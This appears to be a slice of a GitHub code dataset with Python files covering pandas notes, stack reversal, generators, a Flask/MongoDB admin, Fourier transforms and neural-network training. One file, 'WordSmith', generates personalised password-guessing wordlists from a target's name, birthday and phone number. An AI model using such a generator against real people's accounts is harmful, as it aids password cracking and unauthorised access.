pd.read_csv(\"testfiles/movies-db.csv\", index_col=0)\n\n# by chunk\nresult = []\nfor chunk in pd.read_csv(\"testfiles/movies-db.csv\", chunksize=12):\n result.append(sum(chunk[\"length_min\"]))\nprint(sum(result))\n\n# OR\ndf_reader = pd.read_csv(\"testfiles/movies-db.csv\", chunksize=4)\nprint(next(df_reader))\nprint(next(df_reader))\n\n# OR\ndf_reader = pd.read_csv(\"testfiles/movies-db.csv\", chunksize=4)\ndata = pd.DataFrame()\nfor df_movies in df_reader:\n df_movies_comedy = df_movies[df_movies[\"genre\"] == \"Comedy\"]\n data = data.append(df_movies_comedy)\nprint(data)\n\n####\n# Selecting\n####\n\n# square brackets - col by name, row by slice only\nbrics[\"country\"] # returns pandas...Series - 1D labelled array\nbrics[[\"country\"]] # returns pandas...DataFrame\nbrics[[\"country\", \"capital\"]] # returns pandas...DataFrame\nbrics[1:4] # row by slice\n# loc - label based - col or row by names\nbrics.loc[\"RU\"] # returns pandas...Series - 1D labelled array\nbrics.loc[[\"RU\"]] # returns pandas...DataFrame\nbrics.loc[[\"RU\", \"IN\", \"CH\"]] # returns pandas...DataFrame\nbrics.loc[[\"RU\", \"IN\", \"CH\"], [\"country\", \"capital\"]] # pandas...DataFrame\nbrics.loc[:, [\"country\", \"capital\"]] # pandas...DataFrame\n# iloc - position based\nbrics.iloc[1]\nbrics.iloc[[1]]\nbrics.iloc[[1, 2, 3]] # all columns\nbrics.iloc[[1, 2, 3], [0, 1]] # first two columns\nbrics.iloc[:, [0, 1]] # first two columns\n\n# comparison - need panda series\n# step 1 - get column as **series** - brics[\"area\"]\n# step 2 - compare - brics[\"area\"] > 8\n# step 3 - get result columns\nbrics[brics[\"area\"] > 8]\nbrics[np.logical_and(brics[\"area\"] > 8, brics[\"area\"] < 10)]\n\n# iteration\n# rows\nfor lab, row in brics.iterrows():\n print(lab) # label\n print(row) # row as panda series\nfor lab, row in brics.iterrows():\n print(lab + \": \" + row[\"capital\"])\nfor lab, row in brics.iterrows(): # bad(@ big) - creates series on every iter\n brics.loc[lab, \"name_length\"] = len(row[\"country\"])\nbrics[\"name_length\"] = brics[\"country\"].apply(len) # better\n# get the country column, apply the length function with country name as\n# input and store into name_length\n\n# country capital area population\n# BR Brazil Brasilia 8.516 200.40\n# RU Russia Moscow 17.100 143.50\n# IN India New Delhi 3.286 1252.00\n# CH China Beijing 9.567 1357.00\n# SA South Africa Pretoria 1.221 52.98\n","repo_name":"Lilyheart/data_science_study","sub_path":"all_references/python/packages/pandas.py","file_name":"pandas.py","file_ext":"py","file_size_in_byte":2982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"40152229718","text":"# -*- encoding:utf-8 -*-\n\n# Q: 递归反转一个栈\nprint(\"zjh\")\nclass Stack():\n\tdef __init__(self):\n\t\tself.array = []\n\n\tdef push(self, item):\n\t\tself.array.append(item)\n\n\tdef isEmpty(self):\n\t\treturn len(self.array) == 0\n\n\tdef pop(self):\n\t\tif self.isEmpty():\n\t\t\treturn False\n\t\treturn self.array.pop()\n\tdef peek(self):\n\t\tif self.isEmpty():\n\t\t\treturn False\n\t\treturn self.array[-1]\n\nclass Solution():\n\tdef reverse(self, stack):\n\t\tif stack.isEmpty():\n\t\t\treturn\n\t\ti = self.getAndRmoveLastElement(stack)\n\t\tself.reverse(stack)\n\t\tstack.push(i)\n\n\tdef getAndRmoveLastElement(self, stack):\n\t\tresult = stack.pop()\n\t\tif stack.isEmpty():\n\t\t\treturn result\n\t\telse:\n\t\t\tlast = self.getAndRmoveLastElement(stack)\n\t\t\tstack.push(result)\n\t\t\treturn last\n\nstack = Stack()\nstack.push(1)\nstack.push(2)\nstack.push(\"zjh\")\n# print(stack)\n\nwhile not stack:\n\tprint(stack.pop())\nSolution().reverse(stack)\nwhile not stack.isEmpty:\n\tprint(stack.pop())\n\t\n","repo_name":"Michaelhuazhang/code_offer","sub_path":"左传云算法刷题/高频算法刷题/二/problem_01_ReverseStackUsingRecursive.py","file_name":"problem_01_ReverseStackUsingRecursive.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"17253392120","text":"import sys\n\n'''\ngenerator expression\n* генератор хранит своё состояние\n\nIOPS operations\n'''\n\nmax_nums = 10 # memory O(1)\n\n# generator expression <genexpr>\nnums = (el for el in range(max_nums)) # memory O(1)\nprint('Занимаемый размер памяти генератора в байтах: ', sys.getsizeof(nums))\n\n# nums_sum = sum(nums) # одноразовый, коль выполнил - создай новый\n# print(nums_sum)\n\nprint(next(nums))\nprint(next(nums))\nprint(next(nums))\n\nnums = (el for el in range(max_nums)) # memory O(1)\nnums_sum = sum(nums)\nprint(next(nums))\n\n\"\"\"\niterator VS generator\n\n* generator умеет чуть больше, чем просто итерироваться\n* корутина по своей сути и есть генератор\n\"\"\"\nnums.send()\nnums.close()\nnums.throw()\n\n","repo_name":"VladislavSoren/Otus_BasePython","sub_path":"lessons/les_03_gens_decs/step_4_generator_expression.py","file_name":"step_4_generator_expression.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"35920243712","text":"# -*- encoding:utf-8 -*-\nfrom time import time\nfrom bson import ObjectId\nfrom flask import render_template, request, redirect\n\n\nclass MongodbModel(object):\n name = None\n icon = u\"icon-loadingeight\"\n collection = None\n id_field = \"_id\"\n order_by = None\n per_page = 100\n plotable = False\n creatable = False\n editable = True\n deletable = True\n\n def __init__(self, admin, table):\n self.admin = admin\n self.table = table\n self.admin.app.add_url_rule(\"/mongo/%s/\" % self.collection, \"mongo_\" + self.collection, self.list_view)\n\n if self.creatable:\n pass\n # self.admin.app.add_url_rule(\"/db/%s/new/\" % self.db_table, self.db_table + \"_new\", self.new_view)\n # self.admin.app.add_url_rule(\"/db/%s/new/save/\" % self.db_table, self.db_table + \"_save_new\", self.save_new_view, methods=['POST'])\n\n if self.deletable:\n self.admin.app.add_url_rule(\"/mongo/%s/delete/\" % self.collection, \"mongo_\" + self.collection + \"_delete\", self.delete_view)\n\n if self.editable:\n self.admin.app.add_url_rule(\"/mongo/%s/<id>/\" % self.collection, \"mongo_\" + self.collection + \"_obj\", self.object_view)\n # self.admin.app.add_url_rule(\"/db/%s/<id>/save/\" % self.db_table, self.db_table + \"_save\", self.save_view, methods=['POST'])\n\n def list_view(self):\n offset = int(request.args.get(\"offset\", 0))\n limit = int(request.args.get(\"limit\", self.per_page))\n order_by = request.args.get(\"order_by\", self.order_by)\n if order_by and order_by.startswith(\"-\"):\n ordering = (order_by[1:], -1)\n else:\n ordering = (order_by, 1)\n\n dt = time()\n results = self.table.find()\n if order_by:\n results = results.sort([ordering])\n count = results.count()\n results = list(results.skip(offset).limit(limit))\n exec_time = time() - dt\n\n columns = self.parse_columns(results)\n rows = [self.output_row(row, columns) for row in results]\n\n return render_template(\n \"mongo_list.html\",\n request=request,\n admin=self.admin,\n model=self,\n columns=columns,\n rows=rows,\n order_by=order_by,\n limit=limit,\n offset=offset,\n count=count,\n exec_time=exec_time\n )\n\n def object_view(self, id):\n object = self.table.find_one({\"_id\": ObjectId(id)})\n return render_template(\n \"mongo_object.html\",\n request=request,\n admin=self.admin,\n model=self,\n object=object\n )\n\n def delete_view(self):\n ids = request.args.get(\"ids\", \"\")\n ids = [ObjectId(id.strip()) for id in ids.split(\",\")]\n self.table.remove({\n \"_id\": {\n \"$in\": ids\n }\n })\n return redirect(\"/mongo/%s/\" % self.collection)\n\n def output_row(self, obj, columns):\n row = []\n for column in columns:\n value = obj.get(column)\n\n choice = None\n if value is not None and column in self.Fields.choices:\n choice = self.Fields.choices[column].get(value)\n\n row.append({\n \"value\": value,\n \"type\": type(value).__name__,\n \"choice\": choice,\n \"column\": column\n })\n\n return {\n \"style\": self.Row.style(obj),\n \"row\": row\n }\n\n def parse_columns(self, results):\n if \"*\" in self.Row.fields:\n columns = {}\n for row in results:\n for key, value in row.iteritems():\n columns[key] = 0\n results = []\n for column in columns.keys():\n if column == self.id_field:\n results.insert(0, column)\n else:\n results.append(column)\n else:\n results = self.Row.fields\n return results\n\n def plot(self):\n raise NotImplementedError()\n\n class Fields:\n related = {}\n choices = {}\n tips = {}\n\n class Row:\n fields = [\"*\"]\n\n @staticmethod\n def style(row):\n return {}","repo_name":"vas3k/GodMode","sub_path":"admin/models/mongodb.py","file_name":"mongodb.py","file_ext":"py","file_size_in_byte":4281,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"5"} +{"seq_id":"19254528845","text":"# %%\n'''\nFourior transformation and its inverse transformation\n'''\nimport numpy as np\n\n#! this is a slow method \ndef sum_ft_slow(x_ls, fx_ls, delta_x, output_k): # coordinate to momentum ## 19 mins\n ls = []\n for idx in range(len(x_ls)):\n ls.append( delta_x/(2*np.pi) * np.exp(1j * x_ls[idx] * output_k) * fx_ls[idx] )\n val = np.sum(np.array(ls))\n return val\n\n#! fast\ndef sum_ft(x_ls, fx_ls, delta_x, output_k): # coordinate to momentum ## 2.5 mins\n x_ls = np.array(x_ls)\n fx_ls = np.array(fx_ls)\n val = delta_x/(2*np.pi) * np.sum( np.exp(1j * x_ls * output_k) * fx_ls )\n return val\n\n#! fast\ndef sum_ft_inv(k_ls, fk_ls, delta_k, output_x): # momentum to coordinate\n k_ls = np.array(k_ls)\n fk_ls = np.array(fk_ls)\n val = delta_k * np.sum( np.exp(-1j * k_ls * output_x) * fk_ls )\n\n return val","repo_name":"kyzjnbk/kyzjnbk","sub_path":"docs/lang/python/examples_for_tyro/FT_fast.py","file_name":"FT_fast.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"5"} +{"seq_id":"28300786333","text":"import itertools, sys, time\n\ndef banner() -> str:\n '''Prints the banner'''\n print(f'''\n ,\n /(\n | >:00000000000000]\n )( _ _ _ _____ _ _ _ \n \"\" | | | | | | / ___| (_) | | | \n | | | | ___ _ __ __| | \\ `--. _ __ ___ _| |_| |__ \n | |/\\| |/ _ \\| '__/ _` | `--. \\ '_ ` _ \\| | __| '_ \\ \n \\ /\\ / (_) | | | (_| | /\\__/ / | | | | | | |_| | | | \n \\/ \\/ \\___/|_| \\__,_| \\____/|_| |_| |_|_|\\__|_| |_| --\n )(\n [00000000000000:< |\n v1.0.0 )/\n Github : https://github.com/whitefight18 ´\n ''')\n\ndef info_driver():\n '''Main driver to gather and process information'''\n length = input('[+] Provide the range of length of the passwords to generate [eg: \"4 to 6\" = 4-6]: ')\n\n if int(length.split('-')[0]) <= int(length.split('-')[1]):\n try:\n min_length = int(length.split('-')[0])\n max_length = int(length.split('-')[1])\n except:\n print('[x] Invalid input format! Length format: [min-max] Exiting program.')\n sys.exit()\n \n print('\\n[!] Please provide the details you want to include (press Enter/n for defaults or to skip any).')\n\n time.sleep(0.6)\n \n if str.lower((input('\\n[?] Do you want to enter personal information ? [y/N]: '))) == 'y':\n first_name = str(input('\\n[+] First Name: '))\n last_name = str(input('[+] Last Name: '))\n birthday = str(input('[+] Birthday (Date): '))\n month = str(input('[+] (Month): '))\n year = str(input('[+] (Year): '))\n phone_number = str(input('[+] Phone Number: '))\n special_keyword = str(input('[+] Any special keyword if you want to include: '))\n chars = first_name + last_name + birthday + month + year + phone_number + special_keyword\n else:\n chars = 'abcdefghijklmnopqrstuvwxyz'\n pass\n \n L337_transform = str.maketrans('aAaAeEgGiIoOtTsSzZ','@@4433661100775522')\n leet_chars = chars.translate(L337_transform)\n chars_up = chars.upper()\n chars_cap = chars.capitalize()\n special_chars = '!\\][/?.,~-=\";:><@#^$%&*()_+\\''\n numbers = '1234567890'\n \n time.sleep(0.5)\n\n if str.lower((input('\\n[?] Do you want to use additional features ? [y/N]: '))) == 'y':\n if str.lower((input('\\n[?] Do you want to use uppercase characters? (y/N): '))) == 'y':\n chars = ''.join([chars, chars_up])\n if str.lower((input('[?] Do you want to use capitalized characters? (y/N): '))) == 'y':\n chars = ''.join([chars, chars_cap])\n if str.lower((input('[?] Do you want to use 1337 characters? (y/N): '))) == 'y':\n chars = ''.join([chars, leet_chars])\n if str.lower((input('[?] Do you want to use special characters? (y/N): '))) == 'y':\n chars = ''.join([chars, special_chars])\n if str.lower((input('[?] Do you want to use numbers? (y/N): '))) == 'y':\n chars = ''.join([chars, numbers])\n\n file_name = str(input('\\n[!] Insert a name for your wordlist file (or press Enter for default, Format: Wordlist.txt): '))\n if not file_name:\n try:\n if first_name:\n file_name = f'{first_name.capitalize()}_Wordlist.txt'\n except:\n file_name = 'Wordlist.txt'\n \n print (f'\\n[+] Creating wordlist \"{file_name}\"...')\n print (f'\\n[i] Start time: {time.strftime(\"%H:%M:%S\")}\\n')\n \n with open(file_name, 'w') as output:\n generator(min_length, max_length, chars, output)\n\n print (f'\\n[i] End time: {time.strftime(\"%H:%M:%S\")}')\n\ndef generator(minLen, maxLen, chars, out):\n for n in range(minLen, maxLen + 1):\n for iterables in itertools.product(chars, repeat=n):\n generated = ''.join(iterables)\n sys.stdout.write(f'\\r[+] Saving characters \"{generated}\"')\n out.write(f'{generated}\\n')\n sys.stdout.flush()\n\ndef main():\n try:\n banner(); time.sleep(0.6); info_driver() \n\n except (IndexError, ValueError):\n print('\\n[x] Invalid input format! Length format: [min-max] Exiting program.')\n time.sleep(0.5) , sys.exit()\n\n except KeyboardInterrupt:\n print('\\n\\n[x] Keyboard Interrupt received. Exiting program.')\n time.sleep(0.5) , sys.exit()\n \n except Exception as e:\n print(f'\\n{e}'), time.sleep(0.5) , sys.exit()\n\nif __name__ == '__main__':\n main()","repo_name":"whitefight18/WordSmith","sub_path":"wordsmith.py","file_name":"wordsmith.py","file_ext":"py","file_size_in_byte":4653,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"5"} +{"seq_id":"13902981067","text":"import json\nfrom metrics import caculate_f1\n\n\n# resolving key words\ndef resolve(dataset: list):\n keyword_list = []\n for datium in dataset:\n keyword_list.append(datium.split(\" , \"))\n return keyword_list\n\n\ndef eval(predicted_sequences, ground_truths):\n outputs = resolve(predicted_sequences)\n gts = resolve(ground_truths)\n\n f1 = caculate_f1(outputs, gts)\n evaluation_result = {\"F1\": f1}\n return evaluation_result\n","repo_name":"BeyonderXX/TRACE","sub_path":"evaluations/eval_PapyrusF.py","file_name":"eval_PapyrusF.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"5"} +{"seq_id":"28589095347","text":"import argparse\nimport os\nimport sys\nimport time\n\nimport numpy as np\nimport torch\nfrom torch import nn\nfrom torchvision import transforms, datasets\n\nfrom utils import preprocess, fusing\nfrom model import build\nfrom record import save_record_and_draw\nfrom data_loader import get_dataset\nimport math\n\nparser = argparse.ArgumentParser(description=\"Training\")\nparser.add_argument(\"--model-name\", default=\"FC4Net\", type=str,\n help=\"model name\")\nparser.add_argument(\"--filename\", type=str, help=\"the record filename\")\nparser.add_argument(\"--subnums\", type=int, help=\"the nums of datasets\")\nparser.add_argument(\"--l_idx\", default=0, type=int,\n help=\"the index of the first network\")\nparser.add_argument(\"--r_idx\", default=0, type=int,\n help=\"the index of the last network\")\nparser.add_argument(\"--device\", default=\"cuda:0\", type=str, help=\"device (Use cuda or cpu Default: cuda)\")\nparser.add_argument(\"-b\", \"--batch-size\", default=128, type=int,\n help=\"images per gpu, the total batch size is $NGPU x batch_size\")\nparser.add_argument(\"--epochs\", default=100, type=int, metavar=\"N\", help=\"number of total epochs to run\")\nparser.add_argument(\"--lr\", default=0.001, type=float, help=\"initial learning rate\")\nparser.add_argument(\"--wd\", \"--weight-decay\", default=0.0, type=float, metavar=\"W\", help=\"weight decay (default: 1e-4)\",\n dest=\"weight_decay\", )\nparser.add_argument(\"--opt\", default=\"sgd\", type=str, help=\"optimizer\")\nparser.add_argument(\"--scheduler\", default=None, type=str, help=\"the lr scheduler\")\nparser.add_argument(\"--lr-step-size\", default=30, type=int, help=\"decrease lr every step-size epochs\")\nparser.add_argument(\"--lr-warmup-decay\", default=0.01, type=float, help=\"the decay for lr\")\nparser.add_argument(\"--lr-min\", default=0.0, type=float, help=\"minimum lr of lr schedule (default: 0.0)\")\nparser.add_argument(\"--lr-gamma\", default=0.1, type=float, help=\"decrease lr by a factor of lr-gamma\")\nparser.add_argument(\"--label-smoothing\", default=0.0, type=float, help=\"label smoothing (default: 0.0)\",\n dest=\"label_smoothing\")\nparser.add_argument(\"--momentum\", default=0.9, type=float, metavar=\"M\", help=\"momentum\")\nparser.add_argument(\"-j\", \"--workers\", default=0, type=int, metavar=\"N\",\n help=\"number of data loading workers (default: 16)\")\nparser.add_argument(\"--decom\", action=\"store_true\", help=\"low rank decompose the net\")\nparser.add_argument(\"--trans\", default=None, help=\"the transform domain\")\nparser.add_argument(\"--split\", default=None, type=str, help=\"method of split datasets\")\nparser.add_argument(\"--geo-p\", default=0., type=float, help=\"the p of geo fusing method\")\nparser.add_argument(\"--dataset\", default=\"MNIST\", type=str)\nparser.add_argument(\"--wandb-name\", default=None, type=str)\nargs = parser.parse_args()\n\nnum_nets = args.r_idx - args.l_idx\nif num_nets:\n blocks = int(math.sqrt(num_nets))\n\nloss_format_str = \"%.4f, \" * num_nets\nacc_format_str = \"%.2f%%, \" * num_nets\ntest_loss_content_str = \"\"\nacc_content_str = \"\"\nbest_acc_content_str = \"\"\nfor __ in range(num_nets):\n test_loss_content_str += \"test_loss[{}], \".format(__)\n acc_content_str += \"acc[{}], \".format(__)\n best_acc_content_str += \"best_acc[{}], \".format(__)\n\ndevice = args.device if torch.cuda.is_available() else \"cpu\"\nbatch_size = args.batch_size\nbest_acc = 0.\n\ntrainset, testset = get_dataset(args.dataset)\n\ntrainloader = torch.utils.data.DataLoader(trainset, batch_size=batch_size, shuffle=True, num_workers=args.workers,\n pin_memory=True)\ntestloader = torch.utils.data.DataLoader(testset, batch_size=batch_size, shuffle=False, num_workers=args.workers,\n pin_memory=True)\n\nnum_train = len(trainset)\nnum_test = len(testset)\n\n\n########################### train and test functions ##################\ndef test(epoch, net, criterion, best_acc, test_acc_list, test_loss_list):\n net.eval()\n test_loss = 0\n correct = 0 # the number of correctly classified images\n total = 0 # the number of images\n\n with torch.no_grad():\n for batch_idx, (inputs, targets) in enumerate(testloader):\n inputs, targets = inputs.to(device), targets.to(device)\n outputs = net(inputs)\n loss = criterion(outputs, targets)\n\n test_loss += loss.item()\n _, predicted = torch.max(outputs.data, 1)\n total += targets.size(0)\n correct += predicted.eq(targets.data).cpu().sum().item()\n\n acc = 100. * correct / total\n print(\"\\n| Validation Epoch #%d\\t\\t\\tLoss: %.4f Acc: %.2f%% \" % (epoch + 1, loss.item(), acc))\n\n if acc > best_acc:\n best_acc = acc\n # Save checkpoint when best model\n checkpoint = {\n \"epoch\": epoch + 1,\n \"state_dict\": net.state_dict(),\n \"best_acc\": best_acc,\n }\n torch.save(checkpoint, args.model_name + \"_mnist.pth.tar\")\n test_acc_list.append(acc)\n test_loss_list.append(test_loss / total)\n return acc\n\n\ndef train(num_epochs, net):\n net = net.to(device)\n # initialize some metrices\n train_acc_list, train_loss_list = [], []\n test_acc_list, test_loss_list = [], []\n\n start_time = time.time()\n\n lr0 = args.lr\n current_lr = lr0\n criterion = nn.CrossEntropyLoss(label_smoothing=args.label_smoothing).to(device)\n if args.opt == 'sgd':\n # optimizer = torch.optim.SGD(net.parameters(), lr=lr0, momentum=0.9, weight_decay=5e-4)\n optimizer = torch.optim.SGD(net.parameters(), lr=lr0)\n elif args.opt == 'adam':\n optimizer = torch.optim.Adam(net.parameters(), lr=lr0, weight_decay=args.weight_decay)\n elif args.opt == \"adamw\":\n optimizer = torch.optim.AdamW(net.parameters(), lr=lr0, weight_decay=args.weight_decay)\n\n if args.scheduler == \"steplr\":\n lr_scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=args.lr_step_size, gamma=args.lr_gamma)\n elif args.scheduler == \"cos\":\n lr_scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, T_max=args.epochs - args.lr_warmup_epochs,\n eta_min=args.lr_min)\n\n try:\n for epoch in range(num_epochs):\n net.train()\n train_loss = 0 # training loss at this epoch\n correct = 0 # the number of correctly classified images\n total = 0 # the number of images\n\n print(\"\\n=> Training Epoch #%d, LR=%.4f\" % (epoch + 1, current_lr))\n for batch_idx, (inputs, targets) in enumerate(trainloader):\n inputs, targets = inputs.to(device), targets.to(device) # GPU settings\n optimizer.zero_grad()\n outputs = net(inputs) # Forward Propagation\n loss = criterion(outputs, targets) # Loss\n loss.backward() # Backward Propagation\n optimizer.step() # Optimizer update\n\n train_loss += loss.item()\n _, predicted = torch.max(outputs.data, 1)\n total += targets.size(0)\n correct += predicted.eq(targets.data).cpu().sum().item()\n\n sys.stdout.write('\\r')\n sys.stdout.write(\"| Epoch [%3d/%3d] Iter[%3d/%3d]\\t\\tLoss: %.4f Acc: %.3f%% \"\n % (epoch + 1, num_epochs, batch_idx + 1,\n (len(trainset) // batch_size) + 1, loss.item(), 100. * correct / total))\n sys.stdout.flush()\n\n if args.scheduler is not None:\n lr_scheduler.step()\n current_lr = lr_scheduler.get_last_lr()[0]\n\n acc = test(epoch, net, criterion, best_acc, test_acc_list, test_loss_list)\n train_acc = 100. * correct / total\n train_acc_list.append(train_acc)\n train_loss /= total\n train_loss_list.append(train_loss)\n now_time = time.time()\n if args.wandb_name is not None:\n wandb.log({\"test_acc\": acc, \"train_acc\": train_acc, \"train_loss\": train_loss})\n print(\"| Best Acc: %.2f%% \" % best_acc)\n print(\"Used:{}s \\t EST: {}s\".format(now_time - start_time,\n (now_time - start_time) / (epoch + 1) * (num_epochs - epoch - 1)))\n except KeyboardInterrupt:\n pass\n\n print(\"\\nBest training accuracy overall: %.3f%%\" % best_acc)\n if args.wandb_name is not None:\n wandb.finish()\n return train_loss_list, train_acc_list, test_loss_list, test_acc_list\n\n\ndef test_fusing_nets(epoch, nets, best_acc, best_fusing_acc, test_acc_list, fusing_test_acc_list, test_loss_list,\n fusing_test_loss_list, fusing_plan, fusing_num, criterion, fusing_weight=None):\n for net in nets:\n net.eval()\n test_loss = [0] * num_nets\n correct = [0] * num_nets\n total = [0] * num_nets\n outputs = [0] * num_nets\n\n fusing_test_loss = [0] * fusing_num\n fusing_correct = [0] * fusing_num\n fusing_total = [0] * fusing_num\n fusing_outputs = [0] * fusing_num\n if fusing_weight == None:\n fusing_weight = [1. / num_nets] * num_nets\n\n with torch.no_grad():\n for batch_idx, (img, targets) in enumerate(testloader):\n img, targets = img.to(device), targets.to(device)\n img = preprocess(img, block_size=(blocks, blocks), method=args.split, num_nets=num_nets, trans=args.trans,\n device=device)\n\n for i in range(num_nets):\n outputs[i] = nets[i](img[:, :, :, :, i])\n loss = criterion(outputs[i], targets)\n\n test_loss[i] += loss.item()\n _, predicted = torch.max(outputs[i].data, 1)\n total[i] += targets.size(0)\n correct[i] += predicted.eq(targets.data).cpu().sum().item()\n\n #########################################\n ########### Fusing 2 networks ###########\n for plan_id in range(fusing_num):\n fusing_outputs[plan_id] = 0.\n fusing_weight_sum = 0.\n for net_idx in fusing_plan[plan_id]:\n fusing_outputs[plan_id] += fusing_weight[net_idx] * outputs[net_idx]\n fusing_weight_sum += fusing_weight[net_idx]\n fusing_outputs[plan_id] /= fusing_weight_sum\n\n fusing_loss = criterion(fusing_outputs[plan_id], targets)\n\n fusing_test_loss[plan_id] += fusing_loss.item()\n _, predicted = torch.max(fusing_outputs[plan_id].data, 1)\n fusing_total[plan_id] += targets.size(0)\n fusing_correct[plan_id] += predicted.eq(targets.data).cpu().sum().item()\n\n #########################################\n #########################################\n\n # Save checkpoint when best model\n acc = [0] * num_nets\n for i in range(num_nets):\n test_loss[i] /= num_test\n acc[i] = 100. * correct[i] / total[i]\n\n fusing_acc = [0] * fusing_num\n for i in range(fusing_num):\n fusing_test_loss[i] /= num_test\n fusing_acc[i] = 100. * fusing_correct[i] / fusing_total[i]\n\n print(\"| Validation Epoch #%d\\t\\t\" % (epoch + 1)\n + (\" Loss: [\" + loss_format_str + \"]\") % (eval(test_loss_content_str))\n + (\" Acc: [\" + acc_format_str + \"]\") % (eval(acc_content_str))\n )\n\n print(\"| s [%.4f] Fusing Acc: [%.2f%%] \" % (fusing_test_loss[0], fusing_acc[0]))\n\n for i in range(num_nets):\n if acc[i] > best_acc[i]:\n best_acc[i] = acc[i]\n # torch.save(nets[i], \"./\"+args.filename+\".pth\".format(i))\n\n for i in range(fusing_num):\n if fusing_acc[i] > best_fusing_acc[i]:\n best_fusing_acc[i] = fusing_acc[i]\n\n test_acc_list.append(acc)\n test_loss_list.append(test_loss)\n\n fusing_test_acc_list.append(fusing_acc)\n fusing_test_loss_list.append(fusing_test_loss)\n return best_acc, best_fusing_acc, acc, test_loss, fusing_acc[0], fusing_test_loss[0]\n\n\ndef train_multi_nets(num_epochs, nets):\n criterion = nn.CrossEntropyLoss(label_smoothing=args.label_smoothing).to(device)\n lr0 = args.lr\n fusing_plan = [list(range(num_nets))]\n fusing_num = len(fusing_plan)\n\n train_acc_list, train_loss_list = [], []\n test_acc_list, test_loss_list = [], []\n best_acc = [0.] * num_nets\n\n fusing_test_acc_list, fusing_test_loss_list = [], []\n best_fusing_acc = [0.] * fusing_num\n\n optimizers = []\n current_lr = lr0\n for i in range(num_nets):\n nets[i] = nets[i].to(device)\n\n if args.opt == 'sgd':\n optimizers.append(\n torch.optim.SGD(nets[i].parameters(), lr=lr0, momentum=0.9, weight_decay=args.weight_decay))\n elif args.opt == 'adam':\n optimizers.append(torch.optim.Adam(nets[i].parameters(), lr=lr0, weight_decay=args.weight_decay))\n elif args.opt == \"adamw\":\n optimizers.append(torch.optim.AdamW(nets[i].parameters(), lr=lr0, weight_decay=args.weight_decay))\n\n if args.scheduler is not None:\n scheduler = []\n for i in range(num_nets):\n if args.scheduler == \"steplr\":\n scheduler.append(torch.optim.lr_scheduler.StepLR(\n optimizers[i], step_size=args.lr_step_size, gamma=args.lr_gamma\n ))\n if args.scheduler == \"cos\":\n scheduler.append(torch.optim.lr_scheduler.CosineAnnealingLR(\n optimizers[i], T_max=args.epochs - args.lr_warmup_epochs, eta_min=args.lr_min\n ))\n\n current_lr = scheduler[0].get_last_lr()[0]\n start_time = time.time()\n preprocess_time = 0\n try:\n for epoch in range(num_epochs):\n for net in nets:\n net.train()\n train_loss = [0] * num_nets\n correct = [0] * num_nets\n total = [0] * num_nets\n loss = [0] * num_nets\n\n print('\\n=> Training Epoch #%d, LR=[%.4f, %.4f, %.4f, %.4f, ...]' % (\n epoch + 1, current_lr, current_lr, current_lr, current_lr))\n for batch_idx, (inputs, targets) in enumerate(trainloader):\n pre_time = time.time()\n inputs, targets = inputs.to(device), targets.to(device) # GPU settings\n inputs = preprocess(inputs, block_size=(blocks, blocks), method=args.split, num_nets=num_nets,\n trans=args.trans, device=device)\n preprocess_time += (time.time() - pre_time)\n for i in range(num_nets):\n optimizers[i].zero_grad()\n outputs = nets[i](inputs[:, :, :, :, i]) # Forward Propagation\n loss[i] = criterion(outputs, targets) # Loss\n loss[i].backward() # Backward Propagation\n optimizers[i].step() # Optimizer update\n\n train_loss[i] += loss[i].item()\n _, predicted = torch.max(outputs.data, 1)\n total[i] += targets.size(0)\n correct[i] += predicted.eq(targets.data).cpu().sum().item()\n\n temp_loss_ary = np.array([loss[idx].item() for idx in range(num_nets)])\n temp_acc_ary = np.array([100. * correct[idx] / total[idx] for idx in range(num_nets)])\n sys.stdout.write('\\r')\n sys.stdout.write(\n '| Epoch [%3d/%3d] Iter[%3d/%3d]\\tLoss: [%.4f ~ %.4f] mean: %.4f Acc: [%.3f%% ~ %.3f%%] mean: %.3f%% '\n % (epoch + 1, num_epochs, batch_idx + 1, math.ceil(len(trainset) / batch_size),\n temp_loss_ary.min(), temp_loss_ary.max(), temp_loss_ary.mean(),\n temp_acc_ary.min(), temp_acc_ary.max(), temp_acc_ary.mean())\n )\n sys.stdout.flush()\n # pre_time = time.time()\n\n if args.scheduler:\n for i in range(num_nets):\n scheduler[i].step()\n current_lr = optimizers[0].param_groups[0][\"lr\"]\n\n fusing_weight = None\n if args.geo_p:\n fusing_weight = fusing(num_nets, args.geo_p, train_loss)\n\n best_acc, best_fusing_acc, test_acc, test_loss, fusing_acc, fusing_test_loss = \\\n test_fusing_nets(epoch, nets,\n best_acc,\n best_fusing_acc,\n test_acc_list,\n fusing_test_acc_list,\n test_loss_list,\n fusing_test_loss_list,\n fusing_plan,\n fusing_num,\n criterion,\n fusing_weight=fusing_weight)\n\n train_acc = [100. * correct[i] / total[i] for i in range(num_nets)]\n train_acc_list.append(train_acc)\n train_loss = [train_loss[i] / num_train for i in range(num_nets)]\n train_loss_list.append(train_loss)\n if args.wandb_name is not None:\n wandb_dir = {\"test_acc\": fusing_acc, \"test_loss\": fusing_test_loss}\n for i in range(num_nets):\n wandb_dir.update({f\"train_acc_sub{i}\": train_acc[i],\n f\"train_loss_sub{i}\": train_loss[i],\n f\"test_acc_sub{i}\": test_acc[i],\n f\"test_loss_sub{i}\": test_loss[i]})\n wandb.log(wandb_dir)\n\n all_time = time.time() - start_time\n\n print((\"| Best Acc: [\" + acc_format_str + \"]\") % (eval(best_acc_content_str)))\n print(\"Used:{}s\\tWith out preprocess:{}s \\t EST: {}s\".format(all_time,\n all_time - preprocess_time,\n all_time / (epoch + 1) * (\n num_epochs - epoch - 1)))\n\n except KeyboardInterrupt:\n pass\n\n print((\"\\nBest training accuracy overall: [\" + acc_format_str + \"]\") % (eval(best_acc_content_str)))\n\n 